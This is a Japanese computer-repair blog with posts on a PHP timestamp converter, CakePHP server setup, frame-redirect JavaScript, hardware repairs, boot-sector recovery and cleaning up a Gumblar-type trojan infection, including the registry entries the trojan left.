2012年03月05日  カテゴリー:PHP

UNIX時間変換

phpプログラムでUNIXタイムスタンプを操作することがあったので、簡単なプログラムを作成しました。

OSの2038年問題を調べるツールにも使えると思います。たとえば、UNIXタイムの欄に2147483648 を入力した場合、2038/01/19 12:14:08 となれば、time_t型が、64bitに拡張されていますので、そのシステムとphp処理系は問題ないと思われます。

ちなみにこのサーバは、32bitのlinuxですので、未対応でした。

時刻がUTCかJSTかは、OSのロケールに依存すると思いますので、UNIXタイムに0 を入力したとき、1970/01/01 09:00:00 となれば、JST。1970/01/01 00:00:00 ならUTCです。

phpで作成したサンプルプログラムのデモ

ソースコード phpTime.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>UNIXタイムスタンプ・コンバータ</title>
</head>
<body>
	<?php
		$unix = $_POST['unix'];
		$string = $_POST['string'];
		// タグの埋め込みを無効化する。
		$unix = htmlspecialchars($unix);
		$string = htmlspecialchars($string);
		if(empty($unix)) $unix = 0;
		if(empty($string)) $string = strftime('%Y/%m/%d %H:%M:%S', 0);
		if(isset($_POST['UtoS'])){
			// unixタイムスタンプから日付の文字列表示
			$string = strftime('%Y/%m/%d %H:%M:%S', $unix);
			$wareki = warekiHenkan($unix);
		}
		if(isset($_POST['StoU'])){
			// 日付の文字列表示からunixタイムスタンプ
			$unix = strtotime($string);
			$wareki = warekiHenkan($unix);
		}
		if(isset($_POST['Now'])){
			// 日付の文字列表示からunixタイムスタンプ
			$unix = time();
			$string = strftime('%Y/%m/%d %H:%M:%S', $unix);
			$wareki = warekiHenkan($unix);
		}

 		function warekiHenkan($u){
			// $u: unixタイムスタンプ
			// 返値: 和暦の文字列
			$ul = localtime($u, TRUE);
			$ul["tm_year"] = $ul["tm_year"] + 1900;
			$ul["tm_mon"] = $ul["tm_mon"] + 1;
 			if($u < -1812186000){
				// 明治かそれ以前
				$s = "明治" . ($ul["tm_year"] - 1867);
			}else if($u < -1357635600){
				// 大正
				$s = "大正" . ($ul["tm_year"] - 1911);
			}else if($u < 600188400){
				// 昭和
				$s = "昭和" . ($ul["tm_year"] - 1925);
			}else{
				// 平成
				$s = "平成" . ($ul["tm_year"] - 1988);
			}
			return sprintf("%s年%d月%d日 %d時%d分%d秒",
			$s,$ul["tm_mon"],$ul["tm_mday"],$ul["tm_hour"],$ul["tm_min"],$ul["tm_sec"]);
 		}
 	?>
	<p>unixタイムスタンプと日付の文字列表示を相互変換します。</p>
	<p>
		1901(明治34年)/12/14 05:45:52 (-2147483648) 以前の日時はエラーとなります。<br />
		2038(平成50年)/01/19 12:14:07 ( 2147483647) 以降の日時はエラーとなります。<br />
		もしエラーにならない場合、2038年問題に対応したシステムかつphpプログラムと思われます。<br />
		<br />
		1868/09/08 から 1912/07/29 = 明治元年から明治 45 年<br />
		1912/07/30 から 1926/12/24 = 大正元年から大正 15 年<br />
		1926/12/25 から 1989/01/07 = 昭和元年から昭和 64 年<br />
		1989/01/08 から現在 = 平成元年から現在
	</p>
	<form action="phpTime.php" method="POST">
		<table cellspacing="8">
		<tr>
			<td>
				unixタイムスタンプ:
			</td>
			<td>
				&nbsp;
			</td>
			<td>
				日付の文字列表示:
			</td>
		</tr>
		<tr valign="top">
			<td>
				<input type="text" name="unix" size="20" value="<?= $unix ?>" />
			</td>
			<td align="center">
				<input type="submit" name="UtoS" value="→" style="width:3em;" /><br /><br />
				<input type="submit" name="StoU" value="←" style="width:3em;" /><br /><br />
				<input type="submit" name="Now" value="現在時刻" />
			</td>
			<td>
				<input type="text" name="string" size="20" value="<?= $string ?>" /><br />
				<br />和暦:<br /><?= $wareki ?><br />
			</td>
		</tr>
		</table>
	</form>
</body>
</html>

 

2011年03月19日  カテゴリー:DTP

Excel版週間計画停電表

東京電力の計画停電のpdfファイルは、使う人の立場にたって作られていないような気がします。

毎日掲示する必要があったため、Excelで作成しました。下の画像のような感じです。

ご自由にダウンロードしてお使いください。編集も自由にしてもらって結構です。

 

色の変更は、オートシェイプの塗りつぶし設定です。グリッドに吸着する設定にしてあります。

微妙に動かしたい場合は、解除してください。

甲府は、グループ4ですので、このグループのみ色づけしてあります。東電のは、停電時間帯が分かりにくいため、より見やすく作っておきました。

 

 

 

入力フォームに必要項目を入力すると自動生成してくれるものも作成しました。

エクセル版週間計画停電表 ダウンロード

 

2010年09月25日  カテゴリー:CakePHP

cpiサーバにCakePHPを設置する

cpiの共用サーバ(シェアードプラン G2)にCakePHPにて作成したWebアプリケーションを設置したときの備忘録です。cpiの共用サーバは、MySQLが使用できるのですが、文字コードがeuc固定とのことで、CakePHPの標準文字コードutf8とは異なっていました。また、.htaccessもcpiサーバ用に多少カストマイズしなければなりません。

以下テスト環境からcpiサーバへ移行する場合の変更個所です。

1.app/config/core.php

Configure::write('App.encoding', 'UTF-8');
   ↓
Configure::write('App.encoding', 'euc-jp');

2.app/config/database.php

class DATABASE_CONFIG {
 var $default = array(
  'driver' => 'mysql',
  'persistent' => false,
  'host' => 'localhost',
  'login' => 'ログイン名',
  'password' => 'パスワード',
  'database' => 'データベース名',
  'prefix' => 'プレフィックス',
 );

※ログイン名とデータベース名は、コントロールパネルにログインするために使うのと同じです。

※パスワードは、コントロールパネルにログインするときの初期パスワードですので、その後変更している場合は、変更前のものです。

※プレフィックスは、データベースを他のアプリケーションと共用する場合もあるかと思いますので、適当な文字を入れておきます。例) cakeApp1_

3..htaccess

AddHandler x-httpd-php524 .php
Options +FollowSymLinks
RewriteEngine on
RewriteBase /~g123456/
RewriteRule ^$ app/webroot/ [L]
RewriteRule (.*) app/webroot/$1 [L]

※RewriteBaseの記述は、ユーザに応じて書き換えてください。

4.app/.htaccess

Options +FollowSymLinks
RewriteEngine on
RewriteRule ^$ webroot/ [L]
RewriteRule (.*) webroot/$1 [L]

5. app/webroot/.htaccess

Options +FollowSymLinks
RewriteEngine On
RewriteBase /~g123456/app/webroot/
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php?url=$1 [QSA,L]

※RewriteBaseの記述は、ユーザに応じて書き換えてください。

6.2バイト文字を使用しているファイルをeucに変換する。

以上の変更で、問題なく動きました。なお、コントローラ内で文字コード特有の処理をしている場合、その辺も修正する必要があります。

 

2010年05月15日  カテゴリー:ホームページ

フレーム内のhtmlファイルが表示されるとき、親フレームを強制的に表示させる

フレームを使ったホームページ構成は、検索エンジンとの相性が良くないため、ホームページ制作する場合は、極力使わないようにしています。他サイトからのリンクもトップページに張ってもらわなければならず、有用な情報への直リンクがしにくくなります。

Googleなどで、”フレーム SEO”などのキーワードで検索すると、上位に理由が書かれた解説ページがヒットしますので、興味のある方は、しらみつぶしに読んでみてください。

どうしてもフレームを使わないとならない場合の対策方法も上記のページに書かれています。フレーム内の素のhtmlファイルが表示されそうになったら、強制的に親フレームを表示させるようにjavascriptでプログラミングします。

 

通常のフレームページ例です。フレームを左右に分割してあります。

通常のフレームページ例

右サイドのコンテンツ1を新規で開くをクリックすると、main1.htmlが表示されます。

通常のフレームページ例

通常のフレームページ例

各フレームページのソース

index.html(フレームの枠になります)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
				<title>フレーム本体</title>
	</head>
	<frameset rows="*" cols="20%,*">
		<frame src="left.html" name="leftFrame" />
		<frame src="main1.html" name="mainFrame" />
</frameset>
	<noframes>
		<body>
			このブラウザーは、フレームがサポートされていません。
		</body>
	</noframes>
</html>

left.html(左サイドのソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>left.html</title>
	</head>
	<body>
		<ul>
			<li><a href="main1.html" target="mainFrame">コンテンツ1</a></li>
			<li><a href="main2.html" target="mainFrame">コンテンツ2</a></li>
		</ul>
	</body>
</html>

main1.html(右サイドのコンテンツ1のソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main1.html</title>
	</head>
	<body>
		<p>コンテンツ1</p>
		<a href="main1.html" target="_blank">コンテンツ1を新規で開く</a>
	</body>
</html>

main2.html(右サイドのコンテンツ2のソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main2.html</title>
	</head>
	<body>
		<p>コンテンツ2</p>
		<a href="main2.html" target="_blank">コンテンツ2を新規で開く</a>
	</body>
</html>

 

つぎに強制的にフレームページを表示させるようにしたしたものです。

強制的にフレームページを表示させるようにした例

右サイドの”コンテンツ1を新規で開く”をクリックすると、先ほどとは違いフレームページが開かれます。

強制的にフレームページを表示させるようにした例

強制的にフレームページを表示させるようにした例

左サイドでコンテンツ2を表示状態で”コンテンツ2を新規で開く”をクリックした場合も、フレームページが表示され、右サイドには、コンテンツ2が表示されます。

ただし、Internet ExplorerのVersion 6、7、8などは、コンテンツ2が表示されず、コンテンツ1が表示されます。

これは、location.hrefでページ移動した場合、document.referrerプロパティの値が空のため、元ページが分からないためです。IEの仕様ですのでどうすることもできません。FireFoxやSafariは、正しく機能します。

ポイントは、各コンテンツのページに親フレームが存在しないときは、locationで親フレームに移動します。親フレームのページ(index.html)には、コンテンツから移動してきた場合、コンテンツをmainFrameに表示させるようにscriptで変更させます。

コンテンツ3(main3.html)は、bodyタグのonLoadイベントに記述した例で、条件判定の方法は異なりますが、やはり、親フレームが存在しないときは、親フレームへ移動するようになっています。

各フレームページのソース

index.html(フレームの枠になります)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>フレーム本体</title>
		<script language="JavaScript">
			<!--
			function ChanePage(){
				var url = 'http://koubou.nin29.com/pics/heya/frame2/';
				var thisPage = document.location.href;
				var prevPage = document.referrer;
			   	if(thisPage != prevPage){
					if(prevPage.indexOf(url) > -1){
						var file = prevPage.substr(url.length);
						if(file != 'left.html'){
							parent.mainFrame.location.href = file;
						}
					}
				}
			}
			// -->
		</script>
	</head>
	<frameset rows="*" cols="20%,*" onLoad="ChanePage()">
		<frame src="left.html" name="leftFrame" />
		<frame src="main1.html" name="mainFrame" />
	</frameset>
	<noframes>
		<body>
			このブラウザーは、フレームがサポートされていません。
		</body>
	</noframes>
</html>

left.html(左サイドのソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>left.html</title>
	</head>
	<body>
		<ul>
			<li><a href="main1.html" target="mainFrame">コンテンツ1</a></li>
			<li><a href="main2.html" target="mainFrame">コンテンツ2</a></li>
			<li><a href="main3.html" target="mainFrame">コンテンツ3</a></li>
		</ul>
	</body>
</html>

main1.html(右サイドのコンテンツ1のソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main1.html</title>
		<script type="text/javascript">
			<!--//
				if(window.parent && window.self){
					if(window.parent.location == window.self.location){
						window.parent.location.href="index.html";
					}
				}
			//-->
		</script>
	</head>
	<body>
		<p>コンテンツ1</p>
		<a href="main1.html" target="_blank">コンテンツ1を新規で開く</a>
	</body>
</html>

main2.html(右サイドのコンテンツ2のソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main2.html</title>
		<script type="text/javascript">
			<!--//
				if(window.parent && window.self){
					if(window.parent.location == window.self.location){
						window.parent.location.href="index.html";
					}
				}
			//-->
		</script>
	</head>
	<body>
		<p>コンテンツ2</p>
		<a href="main2.html" target="_blank">コンテンツ2を新規で開く</a>
	</body>
</html>

main3.html(右サイドのコンテンツ3のソース)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main3.html</title>
	</head>
	<body onLoad="if (parent.frames.length==0) top.location='index.html'">
		<p>コンテンツ3</p>
		<a href="main3.html" target="_blank">コンテンツ3を新規で開く</a>
	</body>
</html>

 

インラインフレームの場合

インラインフレームも同様の方法で、iframe内のソース部分のみが表示されてしまうのを防ぐことができます。

インラインフレームの場合

インラインフレームの場合

 

各フレームページのソース

index.html(メインページになります)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>インラインフレーム本体</title>
		<script language="JavaScript">
			<!--
			function ChanePage(){
				var url = 'http://koubou.nin29.com/pics/heya/frame3/';
				var thisPage = document.location.href;
				var prevPage = document.referrer;
			   	if(thisPage != prevPage){
					if(prevPage.indexOf(url) > -1){
						var file = prevPage.substr(url.length);
						parent.mainFrame.location.href = file;
					}
				}
			}
			// -->
		</script>
	</head>
	<body onLoad="ChanePage()">
		<ul>
			<li><a href="main1.html" target="mainFrame">コンテンツ1</a></li>
			<li><a href="main2.html" target="mainFrame">コンテンツ2</a></li>
			<li><a href="main3.html" target="mainFrame">コンテンツ3</a></li>
		</ul>
		<iframe src="main1.html" name="mainFrame" width="100%"></iframe>
	</body>
</html>

main1.html(コンテンツ1)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main1.html</title>
		<script type="text/javascript">
			<!--//
				if(window.parent && window.self){
					if(window.parent.location == window.self.location){
						window.parent.location.href="index.html";
					}
				}
			//-->
		</script>
	</head>
	<body>
		<p>コンテンツ1</p>
		<a href="main1.html" target="_blank">コンテンツ1を新規で開く</a>
	</body>
</html>

main2.html(コンテンツ2)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main2.html</title>
		<script type="text/javascript">
			<!--//
				if(window.parent && window.self){
					if(window.parent.location == window.self.location){
						window.parent.location.href="index.html";
					}
				}
			//-->
		</script>
	</head>
	<body>
		<p>コンテンツ2</p>
		<a href="main2.html" target="_blank">コンテンツ2を新規で開く</a>
	</body>
</html>

main3.html(コンテンツ3)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=shift_jis" />
		<title>main3.html</title>
	</head>
	<body onLoad="if (parent.frames.length==0) top.location='index.html'">
		<p>コンテンツ3</p>
		<a href="main3.html" target="_blank">コンテンツ3を新規で開く</a>
	</body>
</html>

 

IT工房にんにく庵関連ページ

 

ホームページ制作

2010年03月21日  カテゴリー:故障・修理・トラブル・障害

パソコンの掃除方法

ディスクトップパソコンの掃除方法を良く聞かれますので、説明したいと思います。

日常の手入れは、空気の吸い込み口を掃除機で吸ってあげる程度でいいと思います。キーボードは、ブラシ付きの掃除機でキーの隙間のゴミを吸ってあげて、キートップをウェットティッシュなどで拭きます。光学式マウスは、全体をウェットティッシュなどで拭いた後、受発光部をエアダスターで清掃します。ボール式マウスは、ボール部分を分解して、内部のローラに付いたゴミを爪楊枝や綿棒で清掃し、ボールをホコリのでないウェットティッシュで黒くならないまで拭くか、中性洗剤で洗ってよく乾かします。マウスパッドも汚れを拭き取っておきます。

たまにパソコン本体の中身を掃除したほうがいいでしょう。周期のほうは環境によるので何ともいえませんが、年1回~2年に1回くらいのペースでしょうか。

まずコネクター類を全て外します。USBやPS/2は、同じ形状のコネクタが2つ以上ある場合がありますので、札(タグ)などを付けて、差す位置が分かるようにしておきます。本体を取り出したら、側面のパネルをスライドさせて開けます。機種によって簡単なものから複雑なものまでありますので、どうしても開けられず断念してしまうかたもいらっしゃいます。ネットなどで”(機種型番) 分解”などのキーワードで検索すると、画像付きの説明ページがあったりしますので、参考にしてみて下さい。

側面パネルを開けた後は、屋外に持っていきます。掃除機、エアダスター、リストストラップ、アース線を用意します。

まともな工事なら、向かって左側の端子がアースです。

パソコン本体をアース線で接地し、リストストラップをつけて掃除機で吸いながら、エアダスターで、ホコリを飛ばします。CPUのヒートシンクは入念にホコリを除去します。

掃除機は、静電気の塊のような機械ですので、基盤に接触させないよう注意して下さい。写真のように先端部分をアルミ箔で包んでリストストラップで接地した手で握ってあげれば、かなり影響が少ないですが、接地しないで使うと、最悪LSIを壊してしまいます。普通に使えたとしても、LSIの素子にダメージを与えることになりますので、寿命が短くなってしまいます。

クリーニング準備完了 クリーニング中

 

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

2010年02月02日  カテゴリー:故障・修理・トラブル・障害

NEC VALUSTAR VL700/6電源入らない

NEC VALUESTAR VL700/6D(2003年5月販売)デスクトップパソコンが、2009年冬頃からたまに電源が入らないことがあり、今年1月ついに電源ボタンを押してもうんともすんともいわなくなってしまいました。既に新しいパソコンに移行済みで、実害はなかったのですが、お子さんにあげたいので修理してほしいとのこと。

AcBel製、API2PC05電源ユニット
AcBel製、API2PC05電源ユニット

パンクしたコンデンサ

中央と左上の2個がパンクしています

保守用の電源と交換したところ、問題なく起動しましたので、電源ユニットの故障です。AcBel製、型番API2PC05、電源容量150w、NEC型番PU786B、NEC P/N 853-610090-001-Aとなっています。オークションで中古を調べると、P/N 853-610090-003-Aなどが売られていますので、改良前のrevisionと思われます。

電源単体でオンしてみると、5v、12v、3.3v、-12vとも正常に出力しています。ただし、5vスタンバイの電圧が少々低く、4.8v程しかありませんでした。

中を分解して目視チェックすると、2個ほどコンデンサ(1000μF 6.3v)が膨れていました。

交換して、電源を入れてみましたが、5vスタンバイは、4.8vのままでした。マザーボードに接続して、電源オンするも、駄目です。

再度電源ユニットを分解して、+5vスタンバイの配線を追っていき、1000μF 6.3vのコンデンサにたどり着きましたので、外してみると、根本から電解液が漏れだしていました。

コンデンサを交換したところ、電源も入り、8時間エージング運転も問題ありませんでした。

目視だけでは、コンデンサの不良を探せられなかった事例です。

内容 費用 備考
部品代 1,000円 購入送料込み
工賃 8,000円  
合計 9,000円  

 

取り外したコンデンサ
取り外したコンデンサ
基盤面
基盤面
コンデンサ交換後
交換後
5vスタンバイ電源のコンデンサ
5vスタンバイ電源のコンデンサ
5vスタンバイ電源のコンデンサ
5vスタンバイ電源のコンデンサ
 

 

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

2010年01月26日  カテゴリー:故障・修理・トラブル・障害

Invalid partition tableにてWindows立ち上がらない

Invalid partition table電源オン、メーカロゴを表示後、「Invalid partition table」を表示して、Windows XPが起動しないとのこと。

MBR(Master Boot Record)のブートストラップローダというIPLブログラムが、「パーティション情報がおかしいよ」と言っているので、ハードディスクが物理的か論理的に破損していると思われます。

今回のケースは、論理的な破損で、無事Windowsが起動するようになった奇跡の生還事例です。

まず、MBRをセクタエディタを使い見てみます。(わたしは、Acronis Disk Director Suite付属のDisk Editorを使っています)

MBR

LBA=0(C=0/H=0/S=1)がMBRです。黒で反転表示した部分がブートストラップローダ部分です。WindowsXPのものです。

赤で囲まれた部分は、第1パーティションのテーブル情報です。先頭バイトが00ですので起動パーティションではありません。5バイト目が06ですので、FATパーティションということがわかります。後述しますが、第1パーティションは、DellのDiagnosticsです。

第2パーティションテーブル情報は、水色の80から始まる部分です。80ですので、ブートパーティションです。5バイト目の赤色が07なので、NTFSパーティションです。開始位置は、ピンク色をリトルエンディアンで読んで0000FB04です。10進数でLBA=64260セクター目となります。

最後のブートシグニチャ55AAもOKです。ということでMBR部分に問題はありませんので、Invalid partition tableになる原因が分かりません。

念のためブートパーティション(第2パーティション)のブートセクタも見てみます。先ほどの64260番目のセクターとなります。(C=4/H=0/S=1)

不良のNTFSパーティションのブートセクター

反転部分をよくみると先ほどのMBRのブートストラップローダと全く同じです。どうやら自力で修復しようとして誤って上書きしてしまったようです。

バックアップブートセクタを見てみました。パーティション2の最終セクタに保存されていますので、MBRのパーティションテーブルから計算します。ピンク(開始セクタ)+黄色(総セクタ)-1=0000FB04+0DF741B9-1=64260+234308025-1=234372284セクター(C=14588/H=254/S=63)となります。

バックアップブートセクタ

幸いにもバックアップブートセクタが生きていましたので、セクタコピーし、パーティション2のブートセクターに上書きしたところ、無事Windowsが起動しました。と言いたいところですが、Security toolに感染していて、立ち上がりませんでした。駆除後正常起動しました。

下の画像は、パーティション情報を別の視点で見たものです。testdiskという壊れたパーティションテーブルを解析して復活することができるツールです。第1パーティションがDellUtilityというボリューム名であることが分かります。

 

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

2009年12月23日  カテゴリー:故障・修理・トラブル・障害

ノートパソコンのハードディスクは、定格容量に注意

STOP: c000021a Unknown Hard Error

ソニーVAIO PCG-FX55S/BPが、Windows XPのロゴ表示後再起動くり返すとのこと。たまにOperating System not foundになることもあるそうです。OS not foundのときは、BIOS上ハードディスクを認識していませんでした。

Windows拡張オプションメニュー「システム障害時の自動的な再起動を無効にする」 にて起動すると、STOP: c000021a Unknown Hard Errorを表示しました。

ほぼハードディスクの不良と見て間違いありません。ところが、このハードディスクは、数ヶ月前竜王にある中古PCショップにて5万円も出して交換してもらったそうです。となると、ハードディスクが故障の可能性は低いです。念のため、MEMTEST86+にてメモリーのチャックをしましたが、エラー無し。ハードディスクの表面検査もBIOSが認識してれば、noエラーでした。

コネクタのゆるみか何かが原因かと、外してみたところ、多分これかなぁというのが分かりました。コネクタは、きちんと刺さってましたし、ピンが曲がったりということもありませんでした。

交換したハードディスクが、この機種には厳しいスペックだったのです。2005年以前のノートパソコンは大抵、2.5インチのパラレルATAタイプのハードディスクを使用しています。定格容量5v、0.5A~0.7Aくらいですが、交換したものは、5v 1AのHITACHI製HTS541210H9AT00 100GB 2007年5月製造のものでした(もしかして中古品?)。

多分電流容量不足で、Unknown Hard ErrorになったりBIOSでハードディスクが認識されずOperating System not foundになったりしたのでしょう。定格が1Aといっても常時これだけ流れるわけではありませんが、PCG-FX55S/BPのピーク電流やアベレージ電流がぎりぎりの設計だったのでしょう。

HDDをBIOSが認識しない   定格電流容量0.5アンペアなら安心
HDDをBIOSが認識しない。   定格電流容量0.5アンペアなら安心

 

内容 費用
2.5"ハードディスク80GB Seagete製 7,000円
パソコンリカバリー一式 15,000円

 

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

パソコン再インストール作業料金

2009年12月10日  カテゴリー:セキュリティ, 故障・修理・トラブル・障害

黒い画面の中央にマウスでWindowsが起動しません

GENOウィルスに感染したサイトの回復のクライアント側の対応事例です。GENOウィルス(正確には、トロイの木馬)は、gumblarの俗名ですが、ほかにDaonolなども同種です。これらに感染すると、Windows起動ロゴが表示された後、黒い画面にマウスポイントだけの状態で、先に進まなくなるケースが多いようです。青い背景まで行く場合もあったりします。

対応方法は、確立されていて、レジストリ・キー\\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32配下のエントリーmidi9をエントリーごと削除すれば、Windowsが起動するようになります。駆除は、Windows起動後、midi9の値にある該当ファイルを削除することになります。

先日対応したお客さんの場合、midi9エントリー以外にaux2エントリーにも、トロイの木馬が記述されており、両方削除しないと、Windowsが起動しませんでした。片方だけの削除ですと、トロイの木馬が復活してしまいました。

作業前にバックアップしたキーは、以下のような情報です。

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\hoge\Microsoft\Windows NT\CurrentVersion\Drivers32]

"midimapper"="midimap.dll"
"msacm.imaadpcm"="imaadp32.acm"
"msacm.msadpcm"="msadp32.acm"
"msacm.msg711"="msg711.acm"
"msacm.msgsm610"="msgsm32.acm"
"msacm.trspch"="tssoft32.acm"
"vidc.cvid"="iccvid.dll"
"vidc.I420"="msh263.drv"
"vidc.iv31"="ir32_32.dll"
"vidc.iv32"="ir32_32.dll"
"vidc.iv41"="ir41_32.ax"
"vidc.iyuv"="iyuv_32.dll"
"vidc.mrle"="msrle32.dll"
"vidc.msvc"="msvidc32.dll"
"vidc.uyvy"="msyuv.dll"
"vidc.yuy2"="msyuv.dll"
"vidc.yvu9"="tsbyuv.dll"
"vidc.yvyu"="msyuv.dll"
"wavemapper"="msacm32.drv"
"msacm.msg723"="msg723.acm"
"vidc.M263"="msh263.drv"
"vidc.M261"="msh261.drv"
"msacm.msaudio1"="msaud32.acm"
"msacm.sl_anet"="sl_anet.acm"
"msacm.iac2"="C:\\WINDOWS\\system32\\iac25_32.ax"
"vidc.iv50"="ir50_32.dll"
"msacm.l3acm"="C:\\WINDOWS\\system32\\l3codeca.acm"
"wave"="wdmaud.drv"
"midi"="wdmaud.drv"
"mixer"="wdmaud.drv"
"aux"="wdmaud.drv"
"aux2"="C:\\WINDOWS\\system32\\..\\dnd.jap"
"midi9"="C:\\WINDOWS\\system32\\..\\fnajg.tmp 0yAAAAAAAA"

レジストリキーのエクスポートをすると、追加分は、おけつに表示されるようですので、ウイルスを見つけやすいです。

aux2とmidi9エントリーが怪しいのは、慣れているかたならすぐ見分けがつくと思います。それぞれのエントリを削除後、Windowsを起動し、以下のファイルを削除しました。

C:\WINDOWS\dnd.jap

C:\WINDOWS\fnajg.tmp

Adobe Readerのバージョンが7でしたので、最新の9.2へアップデート。Flashは、10でしたが、マイナーバージョンが多少低かったので、こちらも最新にして完了です。

検体をAVGにて確認してみたところ。

dnd.jap:トロイの木馬Agent.4.AK

fnajg.tmp:トロイの木馬Small.BQM

と検出しました。どんどん亜種が出ているようですので、対応する側も最新状況をWebでウォッチしないとなりません。

 

内容 費用
トラブル対応1時間 2,000円

 

 

IT工房にんにく庵関連ページ

 

パソコンのトラブル、修理、故障などハード・ソフトとも対応しています

トラブル対応事例、修理料金、金額、工賃など

2009年11月19日  カテゴリー:セキュリティ, ホームページ, 故障・修理・トラブル・障害

GENOウィルスに感染したサイトの回復

FTP情報をトロイの木馬型マルウェアに奪われ、サイトを改ざんされた事例が、後を絶ちません。

Adobe ReaderやAdobe Flash Playerの貧弱性をついたJava Scriptを読み込むように、されてしまいます(※)。ウェルス対策ソフトは、検知できるのですが、次々と亜種が出てきて、いたちごっこのようです。

(※)実際は、PDFファイルやFlashファイル内に悪意のあるプログラムを埋め込んだものをJava Scriptで読み込むように作られています。

先日も、GENOウィルス(正式名称Torojan.Win32/Daonol.H)にFTPパスワードを盗まれ、ホームページを改竄されてしまったサイトの復旧作業を依頼されて、対応しました。

手順としては、

1.感染したクライアントPCをネットワークから遮断する。

2.ホームページを運用しているFTPパスワードを、変更する。

3.できれば、一時的にホームページを閉鎖する。

4.感染したhtmlファイルやJava Scriptファイルを、クライアント側で保存してあるファイルで上書きアップロードする。

5.サイトを再開する。

6.GoogleやYahooなどで、ブラックリストにされている場合は、サイトの再審査手続きをする。

7.ホームページ更新用のクライアントPCは、ウィルス駆除もしくは、データバックアップ後、OSのリカバリーをする。

8.OS、アプリケーションは、常に最新の状態にしておく。

9.ホームページのサーバで、セキュアFTPが使えるようなら、SFTPや、FTP over SSLなどを使用する。

といった流れとなります。

今年5月のケースでは、手順7をデータのバックアップをせず、OSの再インストールを真っ先にしてしまい、クライアントサイドに、ホームページのバックアップが無く、サーバ上の改竄されたデータしかないとのこと。自分たちでは手がおえなく、依頼がきました。

この場合、手順4は、サーバから、データをダウンロードして、改ざんされたファイルを調べて、改ざん部分のみ削除。その後、ファイルをアップロードし直す。という手順になります。

